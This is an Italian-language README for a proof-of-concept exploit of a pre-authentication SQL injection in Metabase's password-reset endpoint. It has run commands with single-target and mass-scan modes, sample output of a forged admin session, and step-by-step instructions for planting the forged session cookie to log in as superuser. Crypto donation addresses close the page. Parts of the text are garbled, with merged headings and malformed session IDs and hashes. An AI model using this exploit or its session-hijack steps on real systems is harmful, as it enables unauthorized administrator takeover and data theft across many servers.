
Exploit proof-of-concept per CVE-2026-72898, un'iniezione SQL non autenticata nell'endpoint di reimpostazione della password di Metabase. Forgia una sessione admin per la compromissione totale, con modalità single-target e mass-scan per test autorizzati.
Iniezione SQL pre-autenticazione in Metabase che porta alla compromissione dell'admin
Proof-of-concept per CVE-2026-72898, una vulnerabilità critica di SQL injection non autenticata nell'endpoint di reset della password di Metabase. Il PoC inietta una riga di sessione admin falsificata nella tabella core_session, quindi la utilizza per convalidare una sessione amministratore completa senza alcuna credenziale.
Nota: Questo PoC è destinato esclusivamente a test di sicurezza autorizzati e attività di ricerca. CVE-2026-72898 è elencato nel catalogo CISA Known Exploited Vulnerabilities (KEV) ed è oggetto di sfruttamento attivo in the wild. Sei responsabile del rispetto di tutte le leggi applicabili e dell'ottenimento dell'autorizzazione scritta prima di testare qualsiasi sistema.
requestsInstalla le dipendenze:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
Un 400 al passaggio 2 con Invalid reset token è previsto — significa che il payload SQLi è stato eseguito e la risposta è stata interrotta. Il passaggio 3 che restituisce 200 su /api/user/current conferma che la sessione falsificata è valida.
Stati dei risultati: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase legge la sessione dal cookie `metabase.SESSION`; puoi quindi accedere all'interfaccia web come admin falsificato aggiungendo quel cookie:
**Google Chrome / Edge / Chromium**
1. Esegui il PoC e copia il `session id` stampato
2. Apri `http://TARGET/` e premi `F12` (DevTools)
3. Vai su **Application** (in Edge: **Application**; in Chrome: **Application**) → **Storage** → **Cookies** → seleziona l'host di destinazione
4. Fai clic sul pulsante **+** (Add cookie) e compila:
- **Nome**: `metabase.SESSION`
- **Valore**: `<SESSION_ID>` (il valore stampato dal PoC)
- **Dominio**: l'host/IP di destinazione (es. `192.168.1.1` o `.example.com`)
- **Percorso**: `/`
- Imposta una scadenza lontana nel futuro (oppure fai clic su "Session")
5. Fai clic su **Save**, quindi aggiorna la pagina
6. Ora sei autenticato come superutente — l'icona dell'ingranaggio admin sarà visibile
**Firefox**
1. Esegui il PoC e copia il `session id` stampato
2. Premi `F12` → scheda **Storage** → **Cookies** → seleziona l'host di destinazione
3. Fai clic con il tasto destro → **Add/Edit Cookie** e aggiungi:
- **Nome**: `metabase.SESSION`
- **Valore**: `<SESSION_ID>`
- **Percorso**: `/`
- **HttpOnly**: non selezionato (lo imposta JS)
- **Secure**: non selezionato per HTTP semplice
4. Salva e aggiorna la pagina
**Alternativa: estensione per la modifica dei cookie**
Usa qualsiasi estensione per la modifica dei cookie (es. Cookie-Editor) per aggiungere il cookie `metabase.SESSION` con il valore falsificato sul dominio di destinazione, quindi aggiorna la pagina.
**Dalla console del browser**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password a livello di rete/WAFSe questo progetto ti è stato utile, considera di supportarne lo sviluppo:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| Argomento | Descrizione | Predefinito |
|---|
-t, --target | URL del target singolo | - |
-T, --targets | File con gli URL dei target, uno per riga | - |
-o, --output | File dei risultati (separato da tab: target, result, status, session_id, admin_email) | - |
--timeout | Timeout della richiesta in secondi | 15 |